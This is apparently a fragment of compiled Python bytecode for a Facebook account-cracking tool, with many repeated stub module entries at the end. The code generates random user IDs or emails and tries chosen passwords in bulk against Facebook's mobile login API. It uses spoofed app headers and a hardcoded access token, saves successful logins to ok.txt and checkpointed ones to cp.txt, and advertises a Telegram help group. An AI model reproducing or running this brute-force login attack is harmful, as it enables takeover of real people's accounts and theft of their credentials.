SECONDS\x1b[0m\n\xfa\x01,\xfa\x1a\n\n%s [#] CRACK COMPLETE...)\x14\xda\x03intrD\x00\x00\x00r=\x00\x00\x00r<\x00\x00\x00rC\x00\x00\x00rB\x00\x00\x00\xda\x05range\xda\x06random\xda\x07randintr2\x00\x00\x00\xda\x06append\xda\x03strr;\x00\x00\x00\xda\x03lenr\x04\x00\x00\x00r\x17\x00\x00\x00\xda\x06submit\xda\x03api\xda\x05split\xda\tException\xa9\x0crO\x00\x00\x00\xda\x01x\xda\x02xx\xda\x03idx\xda\x05limit\xda\x01n\xda\x01_\xda\x02__\xda\x04coeg\xda\x08listpass\xda\x04userr\r\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00rE\x00\x00\x00\xb4\x00\x00\x00s<\x00\x00\x00\x04\x01\x04\x01\x04\x01\x0c\x01\x08\x01\x12\x01\x02\x01\x0c\x01\x0c\x01\x04\x01\x16\x01\x12\x01\x0c\x01\x14\x01\x10\x01\x10\x01\x0c\x01\x0c\x01\x10\x01\x0c\x01\x0c\x01\x0c\x01\n\x01\x18\x01\x02\xff\x1c\xf6\x12\x0c(\x01\x08\x80\x02\x00z\rMain.old12_16c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00\xf3\x82\x01\x00\x00d\x01}\x01d\x02}\x02d\x03}\x03t\x00t\x01d\x04\x83\x01\x83\x01}\x04|\x04d\x05k\x04r\x16t\x02d\x06t\x03\x16\x00\x83\x01\x01\x00z\x91t\x04|\x04\x83\x01D\x00]\x14}\x05t\x05\xa0\x06|\x01|\x02\xa1\x02}\x06|\x03}\x07|\x00j\x07\xa0\x08|\x07t\t|\x06\x83\x01\x17\x00\xa1\x01\x01\x00q\x1bt\nd\x07t\x0b|\x00j\x07\x83\x01\x16\x00\x83\x01\x01\x00t\x0cd\x08d\t\x8d\x01\x8fY}\x08t\nd\nt\rt\x0et\x0ft\rf\x04\x16\x00\x83\x01\x01\x00t\nd\x0bt\rt\x0ef\x02\x16\x00\x83\x01\x01\x00t\x01d\x0ct\rt\x0ef\x02\x16\x00\x83\x01}\tt\x0b|\t\x83\x01d\rk\x01ret\x02d\x0et\x03\x16\x00\x83\x01\x01\x00t\nd\x0ft\r|\tf\x02\x16\x00\x83\x01\x01\x00t\nd\x10t\x0e\x16\x00\x83\x01\x01\x00t\nd\x11t\r\x16\x00\x83\x01\x01\x00t\nd\x12t\x03\x16\x00\x83\x01\x01\x00|\x00j\x07D\x00]\r}\n|\x08\xa0\x10|\x00j\x11|\n|\t\xa0\x12d\x13\xa1\x01\xa1\x03\x01\x00q\x82W\x00d\x00\x04\x00\x04\x00\x83\x03\x01\x00n\x081\x00s\x9aw\x01\x01\x00\x01\x00\x01\x00Y\x00\x01\x00t\x02d\x14t\x0e\x16\x00\x83\x01\x01\x00W\x00d\x00S\x00\x04\x00t\x13y\xc0\x01\x00}\x0b\x01\x00z\rt\x02t\t|\x0b\x83\x01\x83\x01\x01\x00W\x00Y\x00d\x00}\x0b~\x0bd\x00S\x00d\x00}\x0b~\x0bw\x01w\x00)\x15N\xe9\xc7k\x9f\x06\xe9\xff\xc9\x9a;Z\x06100000\xfa3\x1b[0;92m [+] ENTER LIMIT \x1b[0;91m(10000 MAX): \x1b[0;92m\xe9\x10\'\x00\x00\xfa$\n%s [!] DON\'T CROSS THE LIMIT BRO :)rS\x00\x00\x00rT\x00\x00\x00rU\x00\x00\x00rV\x00\x00\x00rW\x00\x00\x00rX\x00\x00\x00rY\x00\x00\x00rZ\x00\x00\x00r[\x00\x00\x00r\\\x00\x00\x00r]\x00\x00\x00r^\x00\x00\x00r_\x00\x00\x00r`\x00\x00\x00\xa9\x14ra\x00\x00\x00rD\x00\x00\x00r=\x00\x00\x00r<\x00\x00\x00rb\x00\x00\x00rc\x00\x00\x00rd\x00\x00\x00r2\x00\x00\x00re\x00\x00\x00rf\x00\x00\x00r;\x00\x00\x00rg\x00\x00\x00r\x04\x00\x00\x00rC\x00\x00\x00rB\x00\x00\x00r\x17\x00\x00\x00rh\x00\x00\x00ri\x00\x00\x00rj\x00\x00\x00rk\x00\x00\x00rl\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00rF\x00\x00\x00\xd1\x00\x00\x00\xf3<\x00\x00\x00\x04\x01\x04\x01\x04\x01\x0c\x01\x08\x01\x0c\x01\x02\x01\x0c\x01\x0c\x01\x04\x01\x16\x01\x12\x01\x0c\x01\x14\x01\x10\x01\x10\x01\x0c\x01\x0c\x01\x10\x01\x0c\x01\x0c\x01\x0c\x01\n\x01\x18\x01\x02\xff\x1c\xf6\x12\x0c(\x01\x08\x80\x02\x00z\nMain.fbtuac\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00rw\x00\x00\x00)\x15N\xe9\x07\xb2\x01\x00\xe9?B\x0f\x00Z\t100000000rz\x00\x00\x00r{\x00\x00\x00r|\x00\x00\x00rS\x00\x00\x00rT\x00\x00\x00rU\x00\x00\x00rV\x00\x00\x00rW\x00\x00\x00rX\x00\x00\x00rY\x00\x00\x00rZ\x00\x00\x00r[\x00\x00\x00r\\\x00\x00\x00r]\x00\x00\x00r^\x00\x00\x00r_\x00\x00\x00r`\x00\x00\x00r}\x00\x00\x00rl\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00rI\x00\x00\x00\xee\x00\x00\x00r~\x00\x00\x00z\nMain.old_9c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00\xf3\x8e\x01\x00\x00d\x01}\x01d\x02}\x02t\x00d\x03t\x01t\x02f\x02\x16\x00\x83\x01}\x03t\x03t\x00d\x04\x83\x01\x83\x01}\x04|\x04d\x05k\x04r\x1ct\x04d\x06t\x05\x16\x00\x83\x01\x01\x00z\x91t\x06|\x04\x83\x01D\x00]\x14}\x05t\x07\xa0\x08|\x01|\x02\xa1\x02}\x06|\x03}\x07|\x00j\t\xa0\n|\x07t\x0b|\x06\x83\x01\x17\x00\xa1\x01\x01\x00q!t\x0cd\x07t\r|\x00j\t\x83\x01\x16\x00\x83\x01\x01\x00t\x0ed\x08d\t\x8d\x01\x8fY}\x08t\x0cd\nt\x01t\x02t\x0ft\x01f\x04\x16\x00\x83\x01\x01\x00t\x0cd\x0bt\x01t\x02f\x02\x16\x00\x83\x01\x01\x00t\x00d\x0ct\x01t\x02f\x02\x16\x00\x83\x01}\tt\r|\t\x83\x01d\rk\x01rkt\x04d\x0et\x05\x16\x00\x83\x01\x01\x00t\x0cd\x0ft\x01|\tf\x02\x16\x00\x83\x01\x01\x00t\x0cd\x10t\x02\x16\x00\x83\x01\x01\x00t\x0cd\x11t\x01\x16\x00\x83\x01\x01\x00t\x0cd\x12t\x05\x16\x00\x83\x01\x01\x00|\x00j\tD\x00]\r}\n|\x08\xa0\x10|\x00j\x11|\n|\t\xa0\x12d\x13\xa1\x01\xa1\x03\x01\x00q\x88W\x00d\x00\x04\x00\x04\x00\x83\x03\x01\x00n\x081\x00s\xa0w\x01\x01\x00\x01\x00\x01\x00Y\x00\x01\x00t\x04d\x14t\x02\x16\x00\x83\x01\x01\x00W\x00d\x00S\x00\x04\x00t\x13y\xc6\x01\x00}\x0b\x01\x00z\rt\x04t\x0b|\x0b\x83\x01\x83\x01\x01\x00W\x00Y\x00d\x00}\x0b~\x0bd\x00S\x00d\x00}\x0b~\x0bw\x01w\x00)\x15Nrx\x00\x00\x00ry\x00\x00\x00\xfa\x1e%s [+] ENTER A DIGIT (1-9): %srz\x00\x00\x00r{\x00\x00\x00r|\x00\x00\x00rS\x00\x00\x00rT\x00\x00\x00rU\x00\x00\x00rV\x00\x00\x00rW\x00\x00\x00rX\x00\x00\x00rY\x00\x00\x00rZ\x00\x00\x00r[\x00\x00\x00r\\\x00\x00\x00r]\x00\x00\x00r^\x00\x00\x00r_\x00\x00\x00r`\x00\x00\x00\xa9\x14rD\x00\x00\x00rC\x00\x00\x00rB\x00\x00\x00ra\x00\x00\x00r=\x00\x00\x00r<\x00\x00\x00rb\x00\x00\x00rc\x00\x00\x00rd\x00\x00\x00r2\x00\x00\x00re\x00\x00\x00rf\x00\x00\x00r;\x00\x00\x00rg\x00\x00\x00r\x04\x00\x00\x00r\x17\x00\x00\x00rh\x00\x00\x00ri\x00\x00\x00rj\x00\x00\x00rk\x00\x00\x00rl\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00rJ\x00\x00\x00\x0b\x01\x00\x00\xf3<\x00\x00\x00\x04\x01\x04\x01\x10\x01\x0c\x01\x08\x01\x0c\x01\x02\x01\x0c\x01\x0c\x01\x04\x01\x16\x01\x12\x01\x0c\x01\x14\x01\x10\x01\x10\x01\x0c\x01\x0c\x01\x10\x01\x0c\x01\x0c\x01\x0c\x01\n\x01\x18\x01\x02\xff\x1c\xf6\x12\x0c(\x01\x08\x80\x02\x00z\x0bMain.old4_8c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00r\x81\x00\x00\x00)\x15Ni\xc7\x8a\xa9\x00i\xff\xe0\xf5\x05r\x82\x00\x00\x00rz\x00\x00\x00r{\x00\x00\x00r|\x00\x00\x00rS\x00\x00\x00rT\x00\x00\x00rU\x00\x00\x00rV\x00\x00\x00rW\x00\x00\x00rX\x00\x00\x00rY\x00\x00\x00rZ\x00\x00\x00r[\x00\x00\x00r\\\x00\x00\x00r]\x00\x00\x00r^\x00\x00\x00r_\x00\x00\x00r`\x00\x00\x00r\x83\x00\x00\x00rl\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00rK\x00\x00\x00(\x01\x00\x00r\x84\x00\x00\x00z\x0bMain.old4_7c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00r\x81\x00\x00\x00)\x15NiG\xf4\x10\x00i\x7f\x96\x98\x00r\x82\x00\x00\x00rz\x00\x00\x00r{\x00\x00\x00r|\x00\x00\x00rS\x00\x00\x00rT\x00\x00\x00rU\x00\x00\x00rV\x00\x00\x00rW\x00\x00\x00rX\x00\x00\x00rY\x00\x00\x00rZ\x00\x00\x00r[\x00\x00\x00r\\\x00\x00\x00r]\x00\x00\x00r^\x00\x00\x00r_\x00\x00\x00r`\x00\x00\x00r\x83\x00\x00\x00rl\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00rL\x00\x00\x00E\x01\x00\x00r\x84\x00\x00\x00z\x0bMain.old4_6c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00r\x81\x00\x00\x00)\x15Nr\x7f\x00\x00\x00r\x80\x00\x00\x00r\x82\x00\x00\x00rz\x00\x00\x00r{\x00\x00\x00r|\x00\x00\x00rS\x00\x00\x00rT\x00\x00\x00rU\x00\x00\x00rV\x00\x00\x00rW\x00\x00\x00rX\x00\x00\x00rY\x00\x00\x00rZ\x00\x00\x00r[\x00\x00\x00r\\\x00\x00\x00r]\x00\x00\x00r^\x00\x00\x00r_\x00\x00\x00r`\x00\x00\x00r\x83\x00\x00\x00rl\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00rM\x00\x00\x00b\x01\x00\x00r\x84\x00\x00\x00z\x0bMain.old4_5c\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00s\xb6\x01\x00\x00d\x01}\x01d\x02}\x02t\x00d\x03t\x01t\x02f\x02\x16\x00\x83\x01}\x03|\x03\xa0\x03d\x04d\x05\xa1\x02}\x03t\x04d\x06t\x01t\x02f\x02\x16\x00\x83\x01\x01\x00t\x00d\x07t\x05\x16\x00\x83\x01}\x04t\x06t\x00d\x08\x83\x01\x83\x01}\x05|\x05d\tk\x04r0t\x07d\nt\x08\x16\x00\x83\x01\x01\x00z\x91t\t|\x05\x83\x01D\x00]\x18}\x06t\n\xa0\x0b|\x01|\x02\xa1\x02}\x07|\x04}\x08|\x03}\t|\x00j\x0c\xa0\r|\tt\x0e|\x07\x83\x01\x17\x00|\x08\x17\x00\xa1\x01\x01\x00q5t\x04d\x0bt\x0f|\x00j\x0c\x83\x01\x16\x00\x83\x01\x01\x00t\x10d\x0cd\r\x8d\x01\x8fU}\nt\x04d\x0et\x01t\x02t\x05t\x01f\x04\x16\x00\x83\x01\x01\x00t\x04d\x0ft\x01t\x02f\x02\x16\x00\x83\x01\x01\x00t\x00d\x10\x83\x01}\x0bt\x0f|\x0b\x83\x01d\x11k\x01r\x7ft\x07d\x12t\x08\x16\x00\x83\x01\x01\x00t\x04d\x13t\x01|\x0bf\x02\x16\x00\x83\x01\x01\x00t\x04d\x14t\x02\x16\x00\x83\x01\x01\x00t\x04d\x15t\x01\x16\x00\x83\x01\x01\x00t\x04d\x16t\x08\x16\x00\x83\x01\x01\x00|\x00j\x0cD\x00]\r}\x0c|\n\xa0\x11|\x00j\x12|\x0c|\x0b\xa0\x13d\x17\xa1\x01\xa1\x03\x01\x00q\x9cW\x00d\x00\x04\x00\x04\x00\x83\x03\x01\x00n\x081\x00s\xb4w\x01\x01\x00\x01\x00\x01\x00Y\x00\x01\x00t\x07d\x18t\x02\x16\x00\x83\x01\x01\x00W\x00d\x00S\x00\x04\x00t\x14y\xda\x01\x00}\r\x01\x00z\rt\x07t\x0e|\r\x83\x01\x83\x01\x01\x00W\x00Y\x00d\x00}\r~\rd\x00S\x00d\x00}\r~\rw\x01w\x00)\x19N\xe9o\x00\x00\x00i\xe7\x03\x00\x00z!%s [?] TYPE A NAME %s(EX: azim): r,\x00\x00\x00r+\x00\x00\x00z5%s EXAMPLE : %sgmail.com, yahoo.com, hotmail.com ETCz\r%s DOMAIN : z2\x1b[0;92m [+] ENTER LIMIT \x1b[0;91m(5000 MAX): \x1b[0;92mi\x88\x13\x00\x00r|\x00\x00\x00rS\x00\x00\x00rT\x00\x00\x00rU\x00\x00\x00rV\x00\x00\x00rW\x00\x00\x00z\x16 [?] ENTER PASSWORD : rY\x00\x00\x00rZ\x00\x00\x00r[\x00\x00\x00r\\\x00\x00\x00z#%s [+] CP RESULT SAVED IN -> cp.txtr^\x00\x00\x00r_\x00\x00\x00r`\x00\x00\x00)\x15rD\x00\x00\x00rC\x00\x00\x00rB\x00\x00\x00\xda\x07replacer;\x00\x00\x00r\x17\x00\x00\x00ra\x00\x00\x00r=\x00\x00\x00r<\x00\x00\x00rb\x00\x00\x00rc\x00\x00\x00rd\x00\x00\x00r2\x00\x00\x00re\x00\x00\x00rf\x00\x00\x00rg\x00\x00\x00r\x04\x00\x00\x00rh\x00\x00\x00ri\x00\x00\x00rj\x00\x00\x00rk\x00\x00\x00)\x0erO\x00\x00\x00rm\x00\x00\x00rn\x00\x00\x00Z\x04namaro\x00\x00\x00rp\x00\x00\x00rq\x00\x00\x00rr\x00\x00\x00rs\x00\x00\x00Z\x03___rt\x00\x00\x00ru\x00\x00\x00rv\x00\x00\x00r\r\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00rN\x00\x00\x00\x7f\x01\x00\x00sD\x00\x00\x00\x04\x01\x04\x01\x10\x01\x0c\x01\x10\x01\x0c\x01\x0c\x01\x08\x01\x0c\x01\x02\x01\x0c\x01\x0c\x01\x04\x01\x04\x01\x1a\x01\x12\x01\x0c\x01\x14\x01\x10\x01\x08\x01\x0c\x01\x0c\x01\x10\x01\x0c\x01\x0c\x01\x0c\x01\n\x01\x18\x01\x02\xff\x1c\xf6\x12\x0c(\x01\x08\x80\x02\x00z\nMain.emailc\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\n\x00\x00\x00C\x00\x00\x00sv\x01\x00\x00t\x00\xa0\x01d\x01d\x02g\x02\xa1\x01}\x03t\x02j\x03\xa0\x04d\x03t\x05|\x00j\x06t\x07|\x00j\x08\x83\x01t\x07|\x00j\t\x83\x01t\x07|\x00j\n\x83\x01f\x05\x16\x00\xa1\x01\x01\x00t\x02j\x03\xa0\x0b\xa1\x00\x01\x00|\x02D\x00]\x8c}\x04|\x04\xa0\x0c\xa1\x00}\x04t\r\xa0\x0e\xa1\x00}\x05t\x0ft\x00\xa0\x10d\x04d\x05\xa1\x02\x83\x01t\x0ft\x00\xa0\x10d\x06d\x07\xa1\x02\x83\x01t\x0ft\x00\xa0\x10d\x06d\x07\xa1\x02\x83\x01d\x08d\t|\x03d\nd\x0bd\x0c\x9c\x08}\x06|\x05j\x11d\rt\x0f|\x01\x83\x01\x17\x00d\x0e\x17\x00t\x0f|\x04\x83\x01\x17\x00d\x0f\x17\x00|\x06d\x10\x8d\x02}\x07d\x11|\x07j\x12v\x00r\x89d\x12|\x07j\x12v\x00r\x89t\x13d\x13|\x01|\x04f\x02\x16\x00\x83\x01\x01\x00|\x00j\t\xa0\x14d\x14|\x01|\x04f\x02\x16\x00\xa1\x01\x01\x00t\x15d\x15d\x16\x83\x02\xa0\x04d\x17|\x01|\x04f\x02\x16\x00\xa1\x01\x01\x00\x01\x00q\xb2d\x18|\x07\xa0\x16\xa1\x00d\x19\x19\x00v\x00r\xb1t\x13d\x1a|\x01|\x04f\x02\x16\x00\x83\x01\x01\x00|\x00j\n\xa0\x14d\x14|\x01|\x04f\x02\x16\x00\xa1\x01\x01\x00t\x15d\x1bd\x16\x83\x02\xa0\x04d\x1c|\x01|\x04f\x02\x16\x00\xa1\x01\x01\x00\x01\x00q\xb2q%|\x00\x04\x00j\x06d\x1d7\x00\x02\x00_\x06d\x00S\x00)\x1eNa\x1d\x01\x00\x00Dalvik/1.6.0 (Linux; U; Android 4.4.2; NX55 Build/KOT5506) [FBAN/FB4A;FBAV/106.0.0.26.68;FBBV/45904160;FBDM/{density=3.0,width=1080,height=1920};FBLC/it_IT;FBRV/45904160;FBCR/PosteMobile;FBMF/asus;FBBD/asus;FBPN/com.facebook.katana;FBDV/ASUS_Z007;FBSV/5.0;FBOP/1;FBCA/x86:armeabi-v7a;]z\xcbMozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]z6\r %s[*] CRACK: %s/%s -> \x1b[0;92mOK:-%s - \x1b[0;93mCP:-%s g\x00\x00\x00\x00\xd0\x12sAg\x00\x00\x00\x008\x9c|Ai N\x00\x00i@\x9c\x00\x00Z\tEXCELLENTz!cell.CTRadioAccessTechnologyHSDPAz!application/x-www-form-urlencodedZ\x05Liger)\x08z\x19x-fb-connection-bandwidthz\x0cx-fb-sim-hniz\x0cx-fb-net-hniz\x17x-fb-connection-qualityz\x14x-fb-connection-typez\nuser-agentz\x0ccontent-typez\x10x-fb-http-enginez?https://b-api.facebook.com/method/auth.login?format=json&email=z\n&password=a\xae\x01\x00\x00&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20¤tly_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true)\x01\xda\x07headersZ\x0bsession_keyZ\x04EAAAz(\r \x1b[0;92m[AZIM-OK] %s|%s\x1b[0;97m z\x05%s|%sz\x06ok.txt\xda\x01az\x11 [AZIM-OK] %s|%s\nz\x10www.facebook.comZ\terror_msgz(\r \x1b[0;93m[AZIM-CP] %s|%s\x1b[0;97m z\x06cp.txtz\x11 [AZIM-CP] %s|%s\n\xe9\x01\x00\x00\x00)\x17rc\x00\x00\x00Z\x06choicer\x06\x00\x00\x00r\x07\x00\x00\x00r\x08\x00\x00\x00rC\x00\x00\x00r5\x00\x00\x00rg\x00\x00\x00r2\x00\x00\x00r3\x00\x00\x00r4\x00\x00\x00r\t\x00\x00\x00\xda\x05lowerr6\x00\x00\x00Z\x07Sessionrf\x00\x00\x00rd\x00\x00\x00r7\x00\x00\x00r>\x00\x00\x00r;\x00\x00\x00re\x00\x00\x00\xda\x04openr8\x00\x00\x00)\x08rO\x00\x00\x00Z\x03uidZ\x03pwxZ\x02uaZ\x02pwZ\x03sesr\x87\x00\x00\x00\xda\x08responser\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00ri\x00\x00\x00\x9f\x01\x00\x00sB\x00\x00\x00\x04\x01\x02\x01\x02\x01\x06\xfe\x06\x04$\x01\x04\xff\n\x02\x08\x01\x08\x01\x08\x01\x0e\x02\x0e\x01\x0e\x01\x02\x01\x02\x01\x02\x01\x02\x01\x02\x01\x06\xf8&\n\x14\x01\x10\x01\x14\x01\x18\x01\x04\x01\x10\x01\x10\x01\x14\x01\x18\x01\x04\x01\x02\x02\x12\x02z\x08Main.apiN)\r\xda\x08__name__\xda\n__module__\xda\x0c__qualname__rR\x00\x00\x00rE\x00\x00\x00rF\x00\x00\x00rI\x00\x00\x00rJ\x00\x00\x00rK\x00\x00\x00rL\x00\x00\x00rM\x00\x00\x00rN\x00\x00\x00ri\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00r\'\x00\x00\x002\x00\x00\x00s\x18\x00\x00\x00\x08\x00\x08\x01\x00\x7f\x08\x02\x08\x1d\x08\x1d\x08\x1d\x08\x1d\x08\x1d\x08\x1d\x08\x1d\x0c r\'\x00\x00\x00r\x89\x00\x00\x00z\x06--helpz\x02-hz0%s [*] JOIN MR. ERROR TELEGRAM GROUP FOR HELP :))\x03r-\x00\x00\x00r.\x00\x00\x00z\x19https://t.me/mrerrorgroupz/ [*] TELEGRAM GROUP : https://t.me/mrerrorgroup),\xda\x01Wr<\x00\x00\x00rB\x00\x00\x00rC\x00\x00\x00r\x17\x00\x00\x00r0\x00\x00\x00r\x19\x00\x00\x00r%\x00\x00\x00r@\x00\x00\x00r6\x00\x00\x00\xda\x0bImportErrorr;\x00\x00\x00rA\x00\x00\x00\xda\x12concurrent.futures\xda\nconcurrentr\x06\x00\x00\x00r\n\x00\x00\x00rc\x00\x00\x00\xda\x08platform\xda\x06base64rG\x00\x00\x00r\x04\x00\x00\x00r\x10\x00\x00\x00\xda\x05uname\xda\x05plist\xda\x05basex\xda\x06encode\xda\x06basex1\xda\tb64encode\xda\x06basex2\xda\x06decode\xda\x06basex3\xda\x05upper\xda\x05base4r\x86\x00\x00\x00r?\x00\x00\x00r\'\x00\x00\x00rg\x00\x00\x00\xda\x04argvrH\x00\x00\x00r=\x00\x00\x00rk\x00\x00\x00r\r\x00\x00\x00rf\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0e\x00\x00\x00r\x0f\x00\x00\x00\xda\x08<module>\x01\x00\x00\x00sd\x00\x00\x00\x00\x02\x04\x01\x04\x01\x04\x01\x04\x01\x04\x01\x04\x01\x04\x01\x04\x02\x08\x01\x02\x01\x0c\x01\x0c\x01\x08\x01\x0e\xfe\x02\x04\x02\x01\x0c\x01\x0c\x01\x08\x01\x0e\xfe\x02\x04\x08\x01\x08\x01\x08\x01\x08\x01\x08\x01\x08\x01\x08\x01\x08\x01\x0c\x02\x08\x06\x0c\x01\x04\x01\n\x01\n\x01\n\x01\x08\x01\\\x03\x0e\x7f\x00\x7f\x00\x7f\x00\x15\x0e\x01\x1c\x01\x0c\x01\x0e\x01\n\x02\x06\x02\x0e\x01N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00\xfa\x07done.py\xda\x08<module>\x01\x00\x00\x00\xf3\x00\x00\x00\x00N)\x01\xda\x04azim\xa9\x00r\x04\x00\x00\x00r\x04\x00\x00\x00